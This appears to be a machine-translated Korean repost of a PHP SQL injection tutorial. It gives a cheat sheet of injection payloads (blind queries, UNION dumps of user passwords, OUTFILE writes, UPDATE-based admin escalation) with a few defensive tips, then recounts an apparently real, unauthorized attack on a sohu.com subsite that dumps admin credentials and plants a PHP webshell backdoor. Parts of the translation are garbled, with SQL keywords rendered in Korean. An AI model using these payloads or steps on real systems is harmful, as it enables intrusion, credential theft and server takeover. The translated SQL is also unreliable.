>  기사  >  백엔드 개발  >  SQL 데이터베이스 입문 PHP의 SQL 인젝션 과정 분석

SQL 데이터베이스 입문 PHP의 SQL 인젝션 과정 분석

WBOY
WBOY원래의
2016-07-29 08:47:39946검색

오늘은 인터넷에서 SQL 인젝션에 대한 기본적인 기술을 배웠습니다. SQL 주입의 초점은 SQL 문을 구성하는 것입니다. SQL
문을 유연하게 사용해야만 놀라운 주입 문자열을 구성할 수 있습니다. 공부한 후에는 몇 가지 메모를 작성하여 언제든지 사용할 수 있도록 준비했습니다. 다음 내용
을 읽기 전에 SQL의 기본 원리를 이해하시기 바랍니다. 메모의 코드는 인터넷에서 가져온 것입니다.
===기본 부분===
이 테이블 쿼리:
http://127.0.0.1/injection/user.php?username=angel' 및 LENGTH(password)='6
http://127.0.0.1/injection/user.php?username=angel' 및 LEFT(password,1)='m
 연합 연합 선언문:
 http://127.0.0.1/injection/show. php?id=1' 통합 선택 1,사용자 이름,사용자의 비밀번호/*
 http://127.0.0.1/injection/show.php?id=' 통합 선택 1,사용자 이름,사용자의 비밀번호/*
파일 내보내기:
http://127.0.0.1/injection/user.php?username=angel'을 outfile 'c:/file.txt로
http://127.0.0.1/injection/user.php ?username=' 또는 1=1을 outfile로 'c:/file.txt
 http://127.0.0.1/injection/show.php?id=' Union select 1,username,password를 사용자로부터 outfile로 'c :/user.txt
INSERT 문:
INSERT INTO `user`(사용자 ID, 사용자 이름, 비밀번호, 홈페이지, 사용자 수준) VALUES ('', '$username', '$password', '$homepage', '1')
생성된 홈페이지 값은 다음과 같습니다: http://4ngel.net', '3')#
SQL 문은 다음과 같습니다: INSERT INTO `user` (사용자 ID, 사용자 이름, 비밀번호, 홈페이지, userlevel ) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', '3')#', '1')
UPDATE 문: 좋아요
먼저 이 SQL을 이해하세요
UPDATE user SET 비밀번호='MD5($password)', 홈페이지='$homepage' WHERE
이 SQL을 다음과 같은 형태로 수정하면 인젝션이 이루어집니다
1: Modification The 홈페이지 값은
http://4ngel.net', userlevel='3
그러면 SQL 문은
UPDATE user SET 비밀번호='mypass', 홈페이지='http://4ngel.net'이 됩니다. , userlevel='3' WHERE
Userlevel은 사용자 레벨
2: 비밀번호 값을
mypass)'로 수정합니다. WHERE username='admin'#
그러면 SQL 문은
UPDATE user가 됩니다. SET 비밀번호='MD5(mypass)' WHERE 사용자 이름='admin'#)', 홈페이지='$homepage' WHERE
 3: id 값을
 OR 사용자 이름='admin'
 으로 수정합니다. SQL문 변경
UPDATE user SET 비밀번호='MD5($password)', 홈페이지='$homepage' WHERE OR 사용자 이름='admin'
===고급부분===
자주 사용하는 MySQL 내장 함수
DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
데이터베이스()
버전()
SUBSTRING ()
MID()
char()
load_file()
...
함수 적용
UPDATE 기사 SET title=DATABASE() WHERE id=1
http ://127.0.0.1/injection/show.php?id=-1 Union select 1,database(),version()
SELECT * FROM user WHERE 사용자 이름=char(97,110,103,101,108)
 # char(97,110,103,101,108) 천사, 십진수
 http://127.0.0.1/injection/user.php?userid=1 및 비밀번호=char(109,121,112,97,115,115)http://127.0.0.1/injection/user.php?userid와 동일합니다. =1 및 LEFT(비밀번호,1)>char(100)
 http://127.0.0.1/injection/user.php?userid=1 및 ord(mid(비밀번호,3,1))>111
 데이터 구조 결정 필드 수 및 유형
 http://127.0.0.1/injection/show.php?id=-1 Union select 1,1,1
 http://127.0.0.1 /injection/show.php ?id=-1 Union select char(97),char(97),char(97)
 데이터 테이블 이름을 맞춰보세요
 http://127.0.0.1/injection/show. php?id=-1 Union Select 1,1,1 멤버
 사용자 이름과 비밀번호를 얻기 위한 크로스 테이블 쿼리
 http://127.0.0.1/ymdown/show.php?id=10000 Union Select 1 ,username,1,password,1, 1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user 여기서 id=1
 Others
 # 첫 번째 비밀번호 확인
 http://127.0.0.1/ymdown/show.php?id=10 Union Select 1,1,1,1,1,1,1,1,1,1,1,1,1 ,1,1,1, 1,1,1 from ymdown_user 여기서 id=1 및 ord(mid(password,1,1))=49
===삽입 방지===
 서버 측면
 magic_quotes_gpc가 On으로 설정됨
Display_errors가 Off로 설정됨
인코딩
$keywords = addlashes($keywords)
$keywords = str_replace("_","_",$keywords);
$keywords = str_replace( "%","%",$keywords);
숫자 유형
intval()을 사용하여
문자열 유형
작은따옴표
를 가져와야 합니다. 다음 코드의 경우 주입을 방지하려면
if (get_magic_quotes_gpc()) {
//....
}else{
$str = mysql_real_escape_string( $str);
$keywords = str_replace("_ ","_",$keywords)
$keywords = str_replace("%","%",$keywords)
 }
유용한 함수
Stripslashes()
get_magic_quotes_gpc ()
 mysql_real_escape_string()
 strip_tags()
 array_map()
 addslashes()
 참고 기사:
 http : //www.4ngel.net/article/36.htm (MySQL을 이용한 SQL 주입) 중국어
 http://www.phpe.net/mysql_manual/06-4.html (MYSQL 문 참고)
 보안 sohu.com에서 확인하세요
 Hackers Line of Defense에 게시되었습니다
http://www.loveshell.net에 게시되었습니다
Sohu.com은 이메일을 포함한 많은 서비스를 제공하는 중국의 비교적 큰 포털입니다.이런 큰 웹사이트는 문제를 피하기 어렵습니다. 서비스가 많을수록 보안성이 떨어진다는 말은 서버와 웹사이트 모두 마찬가지입니다. 최근에 MySQL 인젝션에 대해 알게 되어서 직접 해봤습니다. 그런데 sohu.com에 SQL 주입 취약점이 있는지 확인하는 간단한 보안 검사가 있습니다.
sohu.com 메인 사이트를 살펴보니 거의 다 정적인 상태여서 메인 사이트에서 문제를 찾는다는 생각은 포기했습니다. sohu.com의 다양한 하위 사이트를 직접 검색한 결과, 대부분의 웹사이트가 Php 스크립트를 사용하고 일부 웹사이트는 jsp 스크립트를 사용한다는 것을 발견했습니다. 경험에 따르면 Php로 구축된 시스템의 경우 백그라운드 데이터베이스는 일반적으로 다음과 같습니다. MySQL은 asp와 마찬가지로 Mssql에도 해당됩니다. 아직 문제가 발생할 수 있는 부분이 많이 있는 것 같습니다. Php의 특성상(Php는 기본적으로 전달된 매개변수에 ' 등의 문자를 변환하기 때문에 기본적으로 문자형 변수를 주입하기는 어렵습니다.) 일반적으로 숫자형 변수만 주입할 수 있습니다. 우리의 일반적인 주입 지식을 바탕으로 우리는 id=XXX 형식으로 전달된 매개 변수가 일반적으로 숫자 변수라는 것을 알고 있으므로 취약점을 찾으려면 php?id=XXX로 해당 연결만 테스트하면 됩니다. XXX.it.sohu.com http://XXX.it.sohu.com/book/serialize.php?id=86
제출:
http://XXX.it에서 실제로 문제가 있는 연결을 발견했습니다. sohu.com/book/serialize.php?id=86 and 1=1/*
  그림 1과 같이 정상으로 돌아갑니다.
그런 다음 제출하세요.
http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2/*
그림 2와 같이 정보를 반환하지 않으며 비어 있습니다. . SQL 문의 결과가 비어 있어야 합니다.
우리가 제출한 및 1=1 및 1=2가 SQL 문으로 실행되기 때문에 이 두 URL에서 취약점이 존재한다고 추측할 수 있습니다! 그러면 우리가 제출한 다른 문도 실행될 수 있습니다. 또한 id 변수가 숫자로 처리되고 '' 사이에 배치되지 않는다는 것을 알 수 있습니다. 그렇지 않으면 변수가 다른 SQL 키워드를 필터링하지 않으면 매우 성공할 것입니다! mysql에서 막다른 골목에 있는 변수를 필터링하는 상황이 많이 발생합니다.
허점이 존재하므로 먼저 데이터베이스 계정의 유형과 연결을 감지해 보겠습니다. 권한이 높으며 데이터베이스와 웹이 동일한 시스템에 있는 경우 필드를 추측하는 수고를 피할 수 있습니다.
 http://XXX.it.sohu.com/book/serialize.php?id=86 및 ord (mid(version(),1,1))>51/*
그림 3과 같이 정상으로 돌아갑니다. 이 명령문은 데이터베이스 버전이 3보다 높은지 확인하기 위한 것입니다. 왜냐하면 3의 ASCII는 다음과 같기 때문입니다. 51!버전 첫 번째 문자가 51보다 크면 당연히 4.0 이상입니다! 4.0 이상에서는 유니온 쿼리를 지원하므로 하나씩 추측하는 수고를 피할 수 있습니다! 이상이며 Union을 지원할 수 있습니다.
Union 쿼리가 지원되므로 먼저 이 문의 필드를 노출해 보겠습니다. 앞으로는 Union을 사용하여 무엇이든 쿼리하는 것이 매우 빠릅니다.
http://XXX.it.sohu.com/ book /serialize.php?id=86 order by 10/*
반환된 결과는 그림 4와 같이 정상입니다. 필드가 10보다 큰 것 같습니다. 계속 제출하세요:
http://XXX .it.sohu.com/ book/serialize.php?id=86 20/*까지 주문
정상적으로 반품하고 제출하세요:
http://XXX.it.sohu.com/book/serialize.php? id=86 order by 30/ *
 ...
50까지 주문했는데 반품된 정보가 없더라구요 40보다 크고 50보다 적은 주문인 것 같아서 제출했어요:
http://XXX.it.sohu.com/book/serialize.php?id=86 order by 45/*
 ...
드디어 필드가 41쯤 되는 줄 알았어요! 일부 필드는 정렬할 수 없기 때문에 여기에 있습니다. 따라서 필드 번호가 41인지 정확하게 찾으려면 Union을 사용해야 합니다.
 http://XXX.it.sohu.com/book/serialize.php?id= 86 및 1=2 조합 선택 1,2,3 ,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 ,23,24,25,26,27,28 ,29,30,31,32,33,34,35,36,37,38,39,40,41/*
반환 결과는 다음과 같습니다. 그림 5, 하하, 어떤 필드가 페이지에 표시될지 한눈에 알 수 있습니다! 제출:
 http://XXX.it.sohu.com/book/serialize.php ?id=86 및 1=2 통합 선택 1,user(),3,4 ,database(),6,7,8,9,10,version(),12,13,14,15,16,17, 18,19,20,21,22,23,24,25,26,27 ,28,29,30,31,32,33,34,35,36,37,38,39,40,41/*
반환 결과는 그림 6과 같습니다. 데이터베이스 시스템 감지가 완료되었습니다! 우리는 루트가 아닐 수도 있고, 데이터베이스 서버와 웹이 동일한 서버에 있지 않을 수도 있습니다. 파일 권한이 없습니다! 제출:
 http://XXX.it.sohu.com/book/serialize.php ?id=86 및 (mysql.user에서 개수(*) 선택)>0/*
반환 결과는 그림 7과 같습니다. mysql에는 읽기 권한이 없으며 권한이 root가 아닌 것이 더 확실합니다.
루트가 아니니 당황하지 말고 계속 진행하세요! ! 데이터를 더 추측하기 전에 백엔드를 찾는 것이 좋습니다. 관리자 비밀번호를 찾았지만 로그인할 수 있는 위치를 찾을 수 없습니다. 루트 디렉토리에 추가하십시오. /admin 및 /manage/는 모두 404 오류를 반환합니다. 여러 번 추측한 후 /book/ 디렉토리에서 관리하려고 하면 마침내 403 Forbiden 오류가 발생했습니다. 하하, 이 디렉토리는 살아 있습니다. 짐작이 안 가네요, 우울하네요! 하지만 이제 관리자가 있다는 걸 알았으니 Google에서 검색해 보겠습니다.
관리자 사이트:sohu.com
그림 8과 같이 또 다른 포럼이 있습니다. 우리는 그 사람을 알고 있습니다. 일반적으로 한 장소의 백엔드 특성이 전체 웹사이트의 특성일 가능성이 높으므로 /book/admin/admuser.php에 액세스하려고 하면 기적이 일어납니다. 그림 9에서 볼 수 있듯이, 하하, 이제 웹사이트의 배경을 알게 되었습니다. 사실, 원본 파일을 보면 로그인 이름도 알 수 있습니다. form은 이름과 비밀번호입니다. 상대방 관리자 테이블의 구조는 일치하지 않더라도 쉽게 추론할 수 있을 것 같아요. ㅎㅎ 그럼 배경을 먼저 추측해야 하는 이유를 아실 텐데요! 제출:
 http://XXX.it.sohu.com/book/serialize.php?id=86 및 1= 2 통합 선택 1,user(),3,4,database(),6,7, 8,9,10,버전(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31, 32,33,34,35,36,37,38,39,40,41 from admin/*
  반환 오류, admin 테이블이 존재하지 않는다는 의미입니다. admins, admin_user 등을 시도하고 마지막으로 제출합니다. :
 http://XXX.it.sohu.com/book/serialize.php?id=86 및 1=2 통합 선택 1,user (),3,4,database(),6,7,8 ,9,10,버전(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32 ,33,34,35,36,37,38,39,40,41 from user/*
성공적으로 반환되면 하하! User 이 테이블이 있습니다. 그럼 관리자 테이블인가요? 계속 제출하세요:
 http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 Union select 1,name,3,4,5,6,7,8, 9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25, 26,27,28,29,30,31,32,33, 34,35,36,37,38,39,40,41 from user/*
 빈 정보 반환 오류, 제출:
 http://XXX.it.sohu.com/book/serialize.php? id=86 및 1=2 통합 선택 1,password,3,4,5,6,7,8,9,10,11,12, 13,14,15,16,17,18,19,20,21 ,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37, 38,39,40,41 from user/*
 반환 결과 는 그림 10과 같습니다. 하하, 정상적으로 반환되고 비밀번호가 나옵니다. 그러면 해당 사용자 이름은 무엇입니까? 어쩔 수 없이 ID를 입력했는데, ID는 관리자 이름입니다! 제출:
 http://XXX.it.sohu.com/book/ serialize.php?id=86 및 1= 2 조합 선택 1,password,3,4,id,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 ,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*
반환 결과는 그림 11에 나와 있습니다. 하하, 관리자 이름을 알아냈습니다! 신나게 관리자 이름과 비밀번호를 백엔드에 가져와서 로그인에 성공했습니다!이제 웹쉘을 구하는 방법을 고민해볼 차례입니다. 백그라운드에서 사진을 올릴 수 있는 곳을 찾았는데, php 파일을 올려보니 이미지 파일이 아니라고 해서 조심스럽게 뒤져봤습니다. 한동안 배경을 살펴보니 PHP 파일을 생성하는 기능이 있어서 그림 13과 같이 여기에 한 문장의 PHP 백도어가 삽입되었습니다. 생성을 클릭하면 프롬프트가 성공한 것 같습니다. 필터링이 없으면 webshell을 가져와야 합니다. 비밀번호는 a입니다. 그림 14와 같이 연결에 성공했습니다.
webshell을 얻은 후 스크립트가 감지되었습니다. , 서버를 확인해 본 결과 서버의 보안은 양호했지만 명령이 실행되지 않았고 기본적으로 방금 업로드한 디렉토리를 제외한 모든 디렉토리에 쓰기가 불가능하다고 생각됩니다. webshell을 얻으면 성공합니다! 또한 필터링하지 않은 작은 매개변수로 인해 웹사이트가 붕괴될 수 있음을 알 수 있습니다. 특히 sohu.com과 같은 대형 웹사이트에는 매개변수가 더 많기 때문에 필터링 문제에 더 주의해야 합니다!

위 내용은 SQL 데이터베이스 시작하기 내용을 포함해 SQL 데이터베이스 시작하기 과정 분석을 소개한 내용으로, PHP 튜토리얼에 관심이 있는 친구들에게 도움이 되길 바랍니다.

성명:
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.